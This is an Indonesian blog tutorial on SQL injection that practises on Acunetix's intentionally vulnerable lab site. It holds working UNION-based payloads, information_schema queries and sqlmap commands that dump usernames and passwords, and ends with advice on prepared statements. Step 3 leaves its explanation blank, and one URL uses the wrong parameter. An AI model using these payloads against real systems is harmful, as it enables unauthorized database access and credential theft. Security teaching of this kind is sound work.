BELAJAR SQL INJECTION: DARI MANUAL HINGGA OTOMATIS (LAB: TESTPHP.VULNWEB.COM)
Halo semua! Setelah sekian lama nggak update, kali ini saya mau berbagi catatan belajar tentang salah satu celah keamanan paling legendaris: SQL Injection (SQLi).
Kita akan menggunakan lab latihan dari Acunetix yaitu: http://testphp.vulnweb.com.
Ingat, tutorial ini hanya untuk tujuan edukasi dan pentesting legal ya!
1. MENCARI PINTU MASUK (RECONNAISSANCE)
Langkah pertama adalah mencari URL yang berkomunikasi langsung dengan database. Biasanya ditandai dengan adanya parameter ID di akhir URL.
Contoh:
- http://testphp.vulnweb.com/listproducts.php?cat=1
- http://testphp.vulnweb.com/product.php?pic=1
Kenapa? Karena parameter ini biasanya digunakan oleh backend untuk mengambil data dari tabel database. Website statis (seperti .html) biasanya lebih aman dari serangan jenis ini.
2. TESTING: MEMATAHKAN STRUKTUR QUERY
Setelah nemu target, kita coba tambahkan tanda petik tunggal (') di akhir ID untuk memicu error (syntax break).
Contoh: listproducts.php?cat=1'
Kenapa tanda petik? Karena dalam database, tanda petik harus berpasangan (pembuka dan penutup). Kalau kita tambahin satu di akhir, strukturnya jadi ganjil dan SQL-nya akan error.
Yang dicari: Pesan error yang spesifik. Kalau error-nya muncul, berarti pintunya "terbuka" (Vulnerable). Kalau halamannya cuma blank, itu namanya Blind SQL Injection (materi tingkat lanjut).
3. MENCARI JUMLAH KOLOM (ORDER BY)
Setelah tahu pintunya terbuka, kita perlu tahu ada berapa "kamar" (kolom) di dalam database tersebut menggunakan perintah ORDER BY.
Contoh: product.php?cat=1 ORDER BY 10-- -
Cara menentukannya:
4. MENCARI "NOMOR AJAIB" (VULNERABLE COLUMN)
Kita perlu tahu kolom nomor berapa yang hasilnya muncul di halaman website menggunakan perintah UNION SELECT.
Contoh (jika kolom ada 11):
product.php?cat=-1 union select 1,2,3,4,5,6,7,8,9,10,11-- -
5. EKSPLOITASI: DUMPING DATA (DIOS - DUMP IN ONE SHOT)
Gunakan nomor ajaib tadi untuk menyuntikkan perintah (query) untuk mengintip isi database.
- Mencari Nama Tabel:
(SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema=database())
- Mencari Nama Kolom (Misal pada tabel 'users'):
(SELECT group_concat(column_name) FROM information_schema.columns WHERE table_name='users')
- Mengambil Data (Username & Password):
(SELECT group_concat(uname,0x3a,pass) FROM users)
dan boom, kita sudah bisa masuk ke systemnya dengan kredensial tadi, dan disini di cek masuk sebagai user bernama relax😂.
6. PENGGUNAAN TOOLS SQLMAP (OTOMATIS)
Nah, setelah kita bahas cara manual yang lumayan ribet, sebenarnya ada cara yang jauh lebih praktis. Yup, ada versi otomatisnya juga buat eksploitasi SQLi, yaitu menggunakan tools sakti bernama SQLmap.
Tool ini biasanya sudah bawaan kalau lo pakai Kali Linux. Buat yang belum punya, bisa install dulu lewat terminal:
sudo apt-get install sqlmap -y
Kalau masih bingung perintahnya apa saja, tinggal panggil bantuan:
sqlmap -h
- Melihat Database:
sqlmap -u "http://testphp.vulnweb.com/product.php?pic=2" --dbs
- Melihat Tabel dalam Database (Misal DB: acuart):
sqlmap -u "http://testphp.vulnweb.com/product.php?pic=2" -D acuart --tables
- Melihat Kolom dalam Tabel (Misal Tabel: users):
sqlmap -u "http://testphp.vulnweb.com/product.php?pic=2" -D acuart -T users --columns
- Dump Data Username dan Password:
sqlmap -u "http://testphp.vulnweb.com/product.php?pic=2" -D acuart -T users -C "uname,pass" --dump
KESIMPULAN
SQL Injection terjadi karena input dari user tidak difilter dengan baik. Cara terbaik mencegahnya adalah dengan menggunakan Prepared Statements (Parameterized Queries) agar input user tidak dianggap sebagai perintah SQL.
Stay safe dan gunakan ilmu ini dengan bijak!